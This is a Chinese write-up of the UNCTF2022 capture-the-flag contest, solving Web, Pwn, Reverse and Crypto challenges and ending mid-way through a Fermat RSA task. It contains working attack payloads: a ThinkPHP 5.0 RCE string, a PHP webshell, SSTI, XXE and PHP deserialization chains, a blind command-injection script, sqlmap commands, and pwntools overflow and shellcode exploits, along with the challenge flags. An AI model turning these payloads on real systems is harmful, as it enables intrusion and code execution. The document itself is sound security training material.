UNCTF2022-公开赛

为深入贯彻习近平总书记关于二十大提出的网络强国的重要思想,围绕建设网络强国的战略部署,建设网络强国的战略部署要与“两个一百年”奋斗目标同步推进,由御之安承办UNCTF2022网络安全大赛(以下简称“大赛”)将于今年11月份召开,以赛事为契机,提升网络安全保障能力,汇聚高端网络安全人才,共筑网络安全防线,为中国网络安全事业发展提供智力支撑和保障。

线上报名:2022年10月24日10:00-11月11日10:00,比赛时间:2022年11月12日12:00-11月18日12:00

Rank: 1


# Web

我太喜欢bilibili大学啦

phpinfo页面环境变量中直接泄露flag。

ezgame

简单的游戏~ 打过boss就能获得flag

F12查看js,在main.js里搜索 unctf,在混淆js代码中找到flag片段,连接起来得:unctf{c5f9a27d-6f88-49fb-a510-fe7b163f8dd3}

签到

又是一道简单的签到

F12发现注释有学号 20200101 为账号密码,尝试 20200102/20200103/20200104/20200105 分别回显 f/l/a/g,脚本遍历提取:

1
2
3
4
5
6
7
8
9
import requests

url = 'http://365172a3-2701-4e1a-8f59-a548f14e7027.node.yuzhian.com.cn/index.php'
flag = ''
for i in range(20200102,20200102+40):
data = {'username':f'{i}','password':''}
r = requests.post(url,data=data)
flag += r.text[-5][0]
print(flag)

babyphp

弱类型比较。第一层,16进制0x绕过;第二层,数组绕过;第三层,用其他命令和通配符绕过RCE。

Payload:

/index.php?code=print_r(exec("uniq%09/fl*"));,POST:a=0x&key1[]=a&key2[]=b

easy_upload

简简单单的文件上传

无过滤的文件上传。上传一个 1.php,内含 <?php system($_GET[x]);,再访问传入命令RCE。

Payload:/uplO4d/1.php?x=cat%20/home/ctf/flag

给你一刀

ThinkPHP 5.0.x未开启强制路由RCE漏洞。

Payload: ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env

flag: UNCTF{Y0u_A3r_so_G9eaD_hacker}

302与深大

thai想让你知道szu的战队……吗,醒醒,这个页面不是主页!

Request头的考察。

1
2
3
/?miku=puppy
POST: micgo=ikun
Cookie: admin=true

flag: UNCTF{thai_miku_micgo_qka_WEB_GOD}

easy ssti

php看腻了,来点python吧

基本无过滤的SSTI。

Payload:

/register,POST:user={{cycler.__init__.__globals__.os.popen('env').read()}}&pwd=

听说php有一个xxe

XXE。先访问 /hint,再访问 /dom.php,根据 DOMDocument::loadXML()信息,POST一个XML数据读flag:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///flag"> ]>
<creds>&goodies;</creds>

ezunseri

好像还没有反序列化的题目?

反序列化链:Login:__destruct() => Exec:__get() => Test:__toString() => Exec:__invoke() => Exec:execute()

构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from phpserialize import serialize
from urllib.parse import quote

class Exec:
public_content='system("cat /flag");'

class Test:
public_test=Exec()
public_key='?'

class Exec:
public_content=Test()

class Login:
private_name=''
public_code='3.1415926'
public_key=Exec()

print(quote(serialize(Login())))

# O%3A5%3A%22Login%22%3A3%3A%7Bs%3A11%3A%22%00Login%00name%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22code%22%3Bs%3A9%3A%223.1415926%22%3Bs%3A3%3A%22key%22%3BO%3A4%3A%22Exec%22%3A1%3A%7Bs%3A7%3A%22content%22%3BO%3A4%3A%22Test%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A1%3A%22%3F%22%3Bs%3A4%3A%22test%22%3BO%3A4%3A%22Exec%22%3A1%3A%7Bs%3A7%3A%22content%22%3Bs%3A20%3A%22system%28%22cat%20/flag%22%29%3B%22%3B%7D%7D%7D%7D
# 绕__wakeup():
# O%3A5%3A%22Login%22%3A4%3A%7Bs%3A11%3A%22%00Login%00name%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22code%22%3Bs%3A9%3A%223.1415926%22%3Bs%3A3%3A%22key%22%3BO%3A4%3A%22Exec%22%3A1%3A%7Bs%3A7%3A%22content%22%3BO%3A4%3A%22Test%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A1%3A%22%3F%22%3Bs%3A4%3A%22test%22%3BO%3A4%3A%22Exec%22%3A1%3A%7Bs%3A7%3A%22content%22%3Bs%3A20%3A%22system%28%22cat%20/flag%22%29%3B%22%3B%7D%7D%7D%7D

poppop

反序列化链:B:__destruct() => C:__toString() => A:__call()

构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from phpserialize import serialize
from urllib.parse import quote

class A:
public_code='system("env");';

class C:
private_key2=A()

class B:
public_key=C()

print(quote(serialize(B())))

# O%3A1%3A%22B%22%3A1%3A%7Bs%3A3%3A%22key%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A7%3A%22%00C%00key2%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A14%3A%22system%28%22env%22%29%3B%22%3B%7D%7D%7D
# 绕__wakeup():
# O%3A1%3A%22B%22%3A2%3A%7Bs%3A3%3A%22key%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A7%3A%22%00C%00key2%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A14%3A%22system%28%22env%22%29%3B%22%3B%7D%7D%7D

babynode

你能污染对象吗

原型链污染。

Payload:

POST: {"__proto__":{"id":"unctf"}}

easy_rce

rce布尔盲注

无回显RCE,可以采用 if+head+cut+sleep 方式逐位猜解flag各个字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import string
import time

url = 'http://c88b47e2-7088-4011-8d20-f4e5677e765e.node.yuzhian.com.cn/?code='
dic = string.ascii_letters+string.digits+'{-}'
flag = ''

for i in range(1,50):
judge = 0
for j in dic:
now = f'{url}a=$(tac /f?ag | head -1 | cut -b {i})%0aif [ $a = {j} ]%0athen sleep 2%0afi'
start = time.time()
r = requests.get(now)
end = time.time()
if int(end)-int(start) > 1:
judge = 1
flag += j
print(flag)
break
if judge == 0:
break

print(flag)

随便注

好像见过,又好像不是

sqlmap能跑出:

1
2
3
4
5
sqlmap -u "http://86c207df-b12e-47cb-b6a5-bb33e69a5381.node.yuzhian.com.cn/?id=1" --dbs
sqlmap -u "http://86c207df-b12e-47cb-b6a5-bb33e69a5381.node.yuzhian.com.cn/?id=1" -D ctftraining --tables
sqlmap -u "http://86c207df-b12e-47cb-b6a5-bb33e69a5381.node.yuzhian.com.cn/?id=1" -D ctftraining -T FLAG_TABLE --sql-shell

sql-shell> select load_file("/flag");

ez2048

F12在game.js内查看关键代码,为首页invite_code验证逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
checkInvited() {
let args = [...arguments];
let buf = new ArrayBuffer(24);
const view = new DataView(buf);
view.setUint8(0, 68);
view.setUint8(1, 51);
view.setUint8(2, 15);
view.setUint8(3, 80);
view.setUint16(4, 0x0e5d, true);
view.setUint16(6, 0x323a, true);
view.setUint16(8, 0x3058, true);
view.setUint16(10, 0x1a2a, true);
view.setUint32(12, 0x0512160d, true);
view.setUint32(16, 0x02560002);
view.setUint32(20, 0x130000);
function check(code) {
if (code.length !== 24) return false;
let encode = [];
for (let i = 0; i < code.length; i++) {
if (~i % 2 === 0) {
encode.push(code.charCodeAt(i) ^ code.charCodeAt(i - 2));
} else {
encode.push(code.charCodeAt(i) ^ code.charCodeAt(i + 1));
}
}
for (let i = 0; i < code.length; i++) {
if (view.getInt8(i) !== encode[i]) return false;
}
return true;
}
return function () {
if (!!arguments.length) {
[].push.apply(args, arguments);
return arguments.callee;
}
return check(args.join(""));
};
}

写简单脚本还原输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
c = [68,51,15,80,93,14,58,50,88,48,42,26,13,22,18,5,2,86,0,2,0,19,0,0]

print(len(c))

t = [-1]*24
t[1] = c[1]
t[0] = t[1]^c[0]
for i in range(3,24,2):
t[i] = t[i-2]^c[i]
t[i-1] = t[i]^c[i-1]

print(bytes(t))

# b'w3lc0me_7o_unctf2022!!!!'

再观察发现存在game.wasm,使用wabt工具逆wasm得到密文 \x22}/7v\x16\x0d>GV&*\x5cS@^mWS_D~V\x10\x03[3\x16^\x0eR9\x05_mG\x10\x1efalse\x00,尝试与前面得到的invite_code异或,得到 UNCTF{hap9y_2048_game_w1th_unc7f2022~}..^CW2

世界和平

提示1:堆叠注入

根据提示进行堆叠注入:

1
2
3
4
5
0;show databases;#
数据库名 score_mbamission/score_minnesotaunited/snert

0;show tables;#
表名 Flag/users

使用 0;select * from Flag 查找Flag表中内容,发现无回显,猜测对 selectfromFlag 有过滤。

尝试 0;seLseLectect version();#,只用 select 大写+双写可以绕过得到内容,则

再用 0;seLseLectect * fRfRomom FlFlagag;# 即可拿到flag。

快乐三消

打CTF累了来玩三消放松一下叭

查看源码,除了进入 /h5/index.php/h4/king.php,没有其他有用信息。

扫目录发现 /.git//admin/,用GitHack还原出 index.phpphpinfo.php,无有用信息。

admin/unctf 进入后台页面, 在网页预览功能发现url为 /admin/fi.php?filename=index.php,尝试发现存在文件包含漏洞,访问 /admin/fi.php?filename=/flag 得到flag。

# Pwn

welcomeUNCTF2022

easy easy easy Pwn

签到pwn。

1
2
3
4
5
from pwn import *
r = remote('node.yuzhian.com.cn',37591)
r.sendline('UNCTF&2022\x00')
r.sendline('cat /flag')
print(r.recvall())

石头剪刀布

伪随机数组,给了srand种子值,依照代码逻辑求出固定种子值下的100个rand值:

[1,1,2,2,0,2,2,1,2,2,2,2,0,0,2,1,0,1,2,0,0,1,1,1,1,2,1,1,1,0,0,2,0,1,2,0,0,1,0,2,1,2,1,2,0,1,1,1,0,0,2,0,2,1,2,1,0,0,2,2,1,1,2,1,2,2,2,2,1,0,2,0,2,0,0,1,2,2,2,0,0,1,0,1,0,0,2,0,1,0,0,2,1,1,1,1,0,1,1,2]

再根据石头剪刀布规则完成后半部分交互:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
r = remote('node.yuzhian.com.cn',30253)
rand = [1,1,2,2,0,2,2,1,2,2,2,2,0,0,2,1,0,1,2,0,0,1,1,1,1,2,1,1,1,0,0,2,0,1,2,0,0,1,0,2,1,2,1,2,0,1,1,1,0,0,2,0,2,1,2,1,0,0,2,2,1,1,2,1,2,2,2,2,1,0,2,0,2,0,0,1,2,2,2,0,0,1,0,1,0,0,2,0,1,0,0,2,1,1,1,1,0,1,1,2]
need = []
for i in range(100):
if rand[i] == 0:
need.append(2)
elif rand[i] == 1:
need.append(0)
elif rand[i] == 2:
need.append(1)

r.recvuntil('pwn later?(y/n)\n')
r.sendline('y')

for i in range(100):
print(r.recvuntil(']\x1B[0m\n'))
r.sendline(str(need[i]))
print(i,r.recvline())

r.interactive()

checkin

测试符合条件的数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
typedef unsigned int uint32;
#define _DWORD uint32
#define LODWORD(x) (*((_DWORD*)&(x)))

int main()
{
size_t nbytes;
char nptr[32]=" -33";
LODWORD(nbytes) = atoi(nptr);
printf("%d\n",atoi(nptr));
printf("%x\n",nptr[0]);
if ( atoi(nptr) > 32 || nptr[0] == 0x2D )
{
puts("No!!Hacker");
}
printf("%u",(unsigned int)nbytes);

return 0;
}

交互:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r = remote('node.yuzhian.com.cn',39482)
r.recvuntil('name: \n')
r.send('xx')
r.recvuntil('size: \n')
r.send(' -33')

pl = 'a'*(0x50+8)+p64(0x4008c3)
r.send(pl)

r.interactive()

int 0x80

easy easy easy Pwn

ret2shellcode,其中的 __ctype_b_loc 函数的作用可参考 ctype/ctype.h 源码,将输入的字符根据

((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8))

进行处理,然后根据下面表对应的内容返回。参考 2021 天翼杯 pwn ezshell

在这里插入图片描述

s[i] & 0x4000 != 0 意思即要求的输入字符是可见字符。

参考 mrctf2020_shellcode_revenge,使用全可见字符shellcode输入即可:

1
2
3
4
5
6
7
8
9
10
from pwn import *

r = remote('node.yuzhian.com.cn',32261)

r.recvline()
r.send('Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t')

r.interactive()

# UNCTF{h3ll0_w_0_r_1_d}

# Reverse

whereisyourkey

你能找到属于你的key吗?

简单替换加密。

1
2
3
4
5
6
7
8
9
10
11
s = [121, 101, 115, 105, 97, 107, 102, 108, 97, 103]
for i in range(len(s)):
if s[i] == 109:
pass
elif s[i] <= 110:
s[i] -= 2
elif s[i] > 111:
s[i] += 3
print(bytes(s))

# b'yesiamflag'

ezzzzre

re签到题

exeinfo发现UPX壳,脱壳后,IDA中分析逻辑,顺着实现得flag:

1
2
3
4
5
s = list(b'HELLOCTF')
out = [2*k-69 for k in s]
print(bytes(out))

# b'KESSYAcG'

Sudoku

数独判定逻辑。直接运行显示的数独是错的,动调获取正确的数独初始数组,找个在线网站解了后填入为:

[8, 5, 2, 4, 9, 1, 6, 7, 3, 1, 9, 6, 7, 3, 8, 2, 5, 4, 4, 3, 7, 5, 6, 2, 9, 1, 8, 5, 2, 8, 1, 4, 6, 3, 9, 7, 3, 7, 4, 9, 2, 5, 8, 6, 1, 9, 6, 1, 3, 8, 7, 4, 2, 5, 2, 1, 9, 8, 5, 4, 7, 3, 6, 7, 4, 3, 6, 1, 9, 5, 8, 2, 6, 8, 5, 2, 7, 3, 1, 4, 9]

依次输入后得到

Y0u_Ar3_R1ght!Th1s_1s_your_f1aaag!

UNCTF{chr(29+vme)chr(15+vme)chr(29+vme)chr(24+vme)chr(39+vme)chr(25+vme)chr(29+vme)chr(20+vme)chr(32+vme)}

其中 vme=50,即flag:UNCTF{OAOJYKOFR}

halo

exeinfo发现UPX壳,脱壳后,IDA中分析逻辑,为两轮异或,还原:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
s = [85,  11, 104,  12, 115,  62,  12,  58,  93,  27, 
33, 117, 79, 32, 76, 113, 88, 123, 89, 44,
0, 119, 88, 119, 14, 114, 91, 38, 11, 112,
10, 119, 102, 119, 54, 118, 55, 118, 98, 114,
109, 39, 63, 119, 38, 38]

s = [s[i]^0x33 for i in range(len(s))]
print(s)

for i in range(len(s)-1,0,-1):
s[i] ^= s[i-1]^i

print(bytes(s))

# b'f_ag{H41oO0_6bb2920f8b98ae3f1fdb10cced277c2c}-'
# 修正:flag{H41oO0_6bb2920f8b98ae3f1fdb10cced277c2c}

HelloRust

快来逆逆这一坨答辩罢

IDA打开,分析代码逻辑,识别为RC4算法,找到密文hex值 876927216FC731261B6C3A749A626EA002811D85E0E2D071F4A3090E,以及key值 UnCtF2022

使用Cyberchef得到flag明文:unctf{Ru5t_Rc4_1s_2_e@zy!!!}

ezast

你会ast吗

JavaScript抽象语法树(AST),定位密文 OTYN\\\\a[inE+iEl.hcEo)ivo+g,且中间运算包含异或操作,尝试使用Cyberchef异或爆破,发现在key=0x1a时,得到flag:UNCTF{Ast_1s_v4ry_u3slu1}

HUAQIANG

深育杯原题 生瓜蛋子,参考官方wp,代码逻辑为一个VM,逐位爆破flag每位的可行值,得到满足条件的输入:998bc64bbd919f27f44e5e2750644c

# Crypto

md5-1

爆破可见字符得到md5表,再依次遍历密文取出相应字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from hashlib import md5

c = '''4c614360da93c0a041b22e537de151eb
8d9c307cb7f3c4a32822a51922d1ceaa
0d61f8370cad1d412f80b84d143e1257
b9ece18c950afbfa6b0fdbfa4ff731d3
800618943025315f869e4e1f09471012
f95b70fdc3088560732a5ac135644506
e1671797c52e15f763380b45e841ec32
c9f0f895fb98ab9159f51fd0297e236d
a87ff679a2f3e71d9181a67b7542122c
8fa14cdd754f91cc6554c9e71929cce7
e1671797c52e15f763380b45e841ec32
8277e0910d750195b448797616e091ad
cfcd208495d565ef66e7dff9f98764da
c81e728d9d4c2f636f067f89cc14862c
c9f0f895fb98ab9159f51fd0297e236d
92eb5ffee6ae2fec3ad71c777531578f
45c48cce2e2d7fbdea1afc51c7c6ad26
cfcd208495d565ef66e7dff9f98764da
a87ff679a2f3e71d9181a67b7542122c
1679091c5a880faf6fb5e6087eb1b2dc
8fa14cdd754f91cc6554c9e71929cce7
4a8a08f09d37b73795649038408b5f33
cfcd208495d565ef66e7dff9f98764da
e1671797c52e15f763380b45e841ec32
c9f0f895fb98ab9159f51fd0297e236d
8fa14cdd754f91cc6554c9e71929cce7
cfcd208495d565ef66e7dff9f98764da
c9f0f895fb98ab9159f51fd0297e236d
cfcd208495d565ef66e7dff9f98764da
e1671797c52e15f763380b45e841ec32
45c48cce2e2d7fbdea1afc51c7c6ad26
1679091c5a880faf6fb5e6087eb1b2dc
e1671797c52e15f763380b45e841ec32
8f14e45fceea167a5a36dedd4bea2543
c81e728d9d4c2f636f067f89cc14862c
c4ca4238a0b923820dcc509a6f75849b
c9f0f895fb98ab9159f51fd0297e236d
a87ff679a2f3e71d9181a67b7542122c
cbb184dd8e05c9709e5dcaedaa0495cf'''.split('\n')

s = list(range(32,127))
t = {}

for k in s:
t[md5(chr(k).encode()).hexdigest()] = chr(k)

flag=''
for k in c:
flag += t[k]

print(flag)

# UNCTF{e84fed028b9046fc0e8f080e96e72184}

dddd

1换为 .,0换为 -,摩斯密码解密得:UNCTF{Y4S_TH1S_JUST_M0RSE}

caesar

ROT64变种凯撒密码,用脚本还原:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import string

s = 'B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY_}'
dic = string.ascii_uppercase+string.ascii_lowercase+string.digits+'+/'
print(dic)

d = ord('U')-ord('B')

t = ''
for i in range(len(s)):
if s[i] == '{' or s[i] == '}' or s[i] == '_':
t += s[i]
else:
t += dic[(dic.index(s[i])+d)%64]

print(t)

# UNCTF{w0w_Th1s_d1fFerent_c4eSar_}

md5-2

比md5-1多了一层异或操作,还原即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from hashlib import md5

c = '''4c614360da93c0a041b22e537de151eb
c1fd731c6d60040369908b4a5f309f41
80fdc84bbb5ed9e207a21d5436efdcfd
b48d19bb99a7e6bb448f63b75bc92384
39eaf918a52fcaa5ed9195e546b021c1
795d6869f32db43ff5b414de3c235514
f59a054403f933c842e9c3235c136367
c80b37816048952a3c0fc9780602a2fa
810ecef68e945c3fe7d6accba8b329bd
cad06891e0c769c7b02c228c8c2c8865
470a96d253a639193530a15487fea36f
470a96d253a639193530a15487fea36f
4bdea6676e5335f857fa8e47249fa1d8
810ecef68e945c3fe7d6accba8b329bd
edbb7ab78cde98a07b9b5a2ab284bf0a
44b43e07e9af05e3b9b129a287e5a8df
a641c08ed66b55c9bd541fe1b22ce5c0
abed1f675819a2c0f65c9b7da8cab301
738c486923803a1b59ef17329d70bbbd
7e209780adf2cd1212e793ae8796ed7c
a641c08ed66b55c9bd541fe1b22ce5c0
a641c08ed66b55c9bd541fe1b22ce5c0
636a84a33e1373324d64463eeb8e7614
6ec65b4ab061843b066cc2a2f16820d5
a4a39b59eb036a4a8922f7142f874114
8c34745bd5b5d42cb3efe381eeb88e4b
5b1ba76b1d36847d632203a75c4f74e2
d861570e7b9998dbafb38c4f35ba08bc
464b7d495dc6019fa4a709da29fc7952
8eb69528cd84b73d858be0947f97b7cc
dd6ac4c783a9059d11cb0910fc95d4a
4b6b0ee5d5f6b24e6898997d765c487c
b0762bc356c466d6b2b8f6396f2e041
8547287408e2d2d8f3834fc1b90c3be9
82947a7d007b9854fa62efb18c9fd91f
8ddafe43b36150de851c83d80bd22b0a
c7b36c5f23587e285e528527d1263c8b
2a0816e8af86e68825c9df0d63a28381
63ce72a42cf62e6d0fdc6c96df4687e3'''.split('\n')

cc = [int(k,16) for k in c]
for i in range(1,len(cc)):
cc[i] ^= cc[i-1]

cc = [hex(k)[2:].rjust(32,'0') for k in cc]
print(cc)

s=list(range(32,127))
t={}

for k in s:
t[md5(chr(k).encode()).hexdigest()]=chr(k)

flag = ''
for k in cc:
flag += t[k]

print(flag)

# UNCTF{a197271943ceb3c3fe98bcadf10c29d4}

ezRSA

常规RSA。

1
2
3
4
5
6
7
8
9
10
11
import gmpy2
n = 62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561
e = 65537
c = 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504
p = gmpy2.iroot(n,4)[0]
f = p**3*(p-1)
d = inverse_mod(e,f)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

# b'unctf{pneum0n0ultram01cr0sc0p01cs01l01c0v0lcan0c0n010s01s}'

Single table

读加密方式,明显的playfair密码。

按照key排列好字母表,手动把每两个字母取出解密后,排列为 UNCTFGODYOUKNOWPLAYFAIRX,在适当的地方加符号分割单词:UNCTF{GOD_YOU_KNOW_PLAYFAIR}

Multi table

变表维吉尼亚密码,先根据前4字符确定key值,再遍历爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from string import ascii_uppercase

base_table = ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']

table={}
for i in range(26):
table[i]=ascii_uppercase[i:]+ascii_uppercase[:i]

ori = 'UNCT'
res = 'SDCG'
key = []

for i in range(4):
for k,v in table.items():
if v[base_table.index(ori[i])] == res[i]:
key.append(k)
break

print(key)

c = 'SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}'
flag = ''
x = 0
for i in range(len(c)):
if c[i] in ascii_uppercase:
now = table[key[x%4]].index(c[i])
flag += base_table[now]
x += 1
else:
flag += c[i]

print(flag)

# [9, 15, 23, 16]
# UNCTF{WOW_YOU_KNOW_THIS_IS_VIGENERE_CIPHER}

babyRSA

泄露 $m$ 高位的Coppersmith攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
n = 25300208242652033869357280793502260197802939233346996226883788604545558438230715925485481688339916461848731740856670110424196191302689278983802917678262166845981990182434653654812540700781253868833088711482330886156960638711299829638134615325986782943291329606045839979194068955235982564452293191151071585886524229637518411736363501546694935414687215258794960353854781449161486836502248831218800242916663993123670693362478526606712579426928338181399677807135748947635964798646637084128123883297026488246883131504115767135194084734055003319452874635426942328780711915045004051281014237034453559205703278666394594859431
c = 15389131311613415508844800295995106612022857692638905315980807050073537858857382728502142593301948048526944852089897832340601736781274204934578234672687680891154129252310634024554953799372265540740024915758647812906647109145094613323994058214703558717685930611371268247121960817195616837374076510986260112469914106674815925870074479182677673812235207989739299394932338770220225876070379594440075936962171457771508488819923640530653348409795232033076502186643651814610524674332768511598378284643889355772457510928898105838034556943949348749710675195450422905795881113409243269822988828033666560697512875266617885514107
e = 6
mbar = 11941439146252171444944646015445273361862078914338385912062672317789429687879409370001983412365416202240
kbits = 60
nbits = n.nbits()
print("upper {} bits of {} bits is given".format(nbits - kbits, nbits))
PR.<x> = PolynomialRing(Zmod(n))
f = (mbar + x)^e - c
x0 = f.small_roots(X=2^kbits, beta=0.4)[0] # find root < 2^kbits with factor = n
m = mbar + x0
print(bytes.fromhex(hex(m)[2:]))

# b'UNCTF{27a0aac7-76cb-427d-9129-1476360d5d1b}'

easy_RSA

泄露 $p$ 高位的Coppersmith攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
c = 6423951485971717307108570552094997465421668596714747882611104648100280293836248438862138501051894952826415798421772671979484920170142688929362334687355938148152419374972520025565722001651499172379146648678015238649772132040797315727334900549828142714418998609658177831830859143752082569051539601438562078140
n = 102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
p4 = 8183408885924573625481737168030555426876736448015512229437332241283388177166503450163622041857
e = 0x10001
pbits = 512
kbits = 200
print(p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
p = p4+int(roots[0])
q = n//p
f = (p-1)*(q-1)
d = inverse_mod(e,f)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

# flag{It is a very_intersting_test!!!}

ezxor

你知道多次一密吗?

多次一密(MTP)攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# python2
import string
import collections
import sets, sys

ciphers = '''1c2063202e1e795619300e164530104516182d28020005165e01494e0d
2160631d325b3b421c310601453c190814162d37404510041b55490d5d
3060631d325b3e59033a1252102c560207103b22020613450549444f5d
3420277421122f55067f1207152f19170659282b090b56121701405318
212626742b1434551b2b4105007f110c041c7f361c451e0a02440d010a
75222a22230877102137045212300409165928264c091f131701484f5d
21272d33661237441a7f005215331706175930254c0817091b4244011c
303c2674311e795e103a05520d300600521831274c031f0b160148555d
3c3d63232909355455300752033a17175e59372c1c0056111d01474813
752b22272f1e2b10063e0816452b1e041c593b2c02005a450649440110
396e2f3d201e795f137f07130c2b1e450510332f4c08170e17014d481b'''.split('\n')

def strxor(a, b):
return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b)])

def target_fix(target_cipher):
print '-------begin-------'

final_key = [None]*150
known_key_positions = set()

for current_index, ciphertext in enumerate(ciphers):
counter = collections.Counter()
for index, ciphertext2 in enumerate(ciphers):
if current_index != index:
for indexOfChar, char in enumerate(strxor(ciphertext.decode('hex'), ciphertext2.decode('hex'))):
if char in string.printable and char.isalpha(): counter[indexOfChar] += 1
knownSpaceIndexes = []

for ind, val in counter.items():
if val >= 7: knownSpaceIndexes.append(ind)

xor_with_spaces = strxor(ciphertext.decode('hex'),' '*150)
for index in knownSpaceIndexes:
final_key[index] = xor_with_spaces[index].encode('hex')
known_key_positions.add(index)

final_key_hex = ''.join([val if val is not None else '00' for val in final_key])
output = strxor(target_cipher.decode('hex'),final_key_hex.decode('hex'))

print "Fix this sentence:"
print ''.join([char if index in known_key_positions else '*' for index, char in enumerate(output)])+"\n"

print '------end------'

for i in ciphers:
target_fix(i)

补全可能的明文单词,反复尝试得到key:UNCTF{Y0u_are_very_Clever!!!}

今晚吃什么

全部大写

10000A00000B,培根密码解得 CRYPROISFUN

Today_is_Thursday_V_me_50

按代码逻辑还原即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import random
import itertools
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor

name = "unctf"
key1 = b'Today_is_Thursday_V_me_50'
key1_num = bytes_to_long(key1)

c = b'Q\x19)T\x18\x1b(\x03\t^c\x08QiF>Py\x124DNg3P'

random.seed(key1_num)
message = b''
for i in c:
temp_num = random.randint(1,128)
message += long_to_bytes(temp_num ^ i)

guess = [i for i in itertools.permutations(name, 5)]

for i in range(4):
what = guess.pop(50)

name = ''.join(j for j in what)
mask = strxor(5*name.encode(),key1)
print(mask)
out = strxor(mask,message)
print(out)

# b'unctf{1_l0ve_Thurs4Ay!!!}'

Fermat

已知 $g+x=x \cdot p$,则 $g=x(p-1)$,结合费马小定理,有

$a^g \bmod p = a^{ x(p-1)} \bmod p = (a^x)^{(p-1)} \bmod p = 1$ ($a$ 为任意整数)

取 $a=2$,即 $2^g \bmod p = 1$,$2^g-1=k_1p$,

而 $2^g \bmod p = (2^g \bmod n) \bmod p=1$,则 $2^g \bmod n = 1+k_2p$,

故 $(2^g \bmod n)-1=k_2p$ 也是 $p$ 的倍数,则有 $p=\gcd\Big((2^g \bmod n)-1,n\Big)$。

1
2
3
4
5
6
7
8
9
10
11
12
13
n = 19793392713544070457027688479915778034777978273001720422783377164900114996244094242708846944654400975309197274029725271852278868848866055341793968628630614866044892220651519906766987523723167772766264471738575578352385622923984300236873960423976260016266837752686791744352546924090533029391012155478169775768669029210298020072732213084681874537570149819864200486326715202569620771301183541168920293383480995205295027880564610382830236168192045808503329671954996275913950214212865497595508488636836591923116671959919150665452149128370999053882832187730559499602328396445739728918488554797208524455601679374538090229259
c = 388040015421654529602726530745444492795380886347450760542380535829893454552342509717706633524047462519852647123869277281803838546899812555054346458364202308821287717358321436303133564356740604738982100359999571338136343563820284214462840345638397346674622692956703291932399421179143390021606803873010804742453728454041597734468711112843307879361621434484986414368504648335684946420377995426633388307499467425060702337163601268480035415645840678848175121483351171989659915143104037610965403453400778398233728478485618134227607237718738847749796204570919757202087150892548180370435537346442018275672130416574430694059
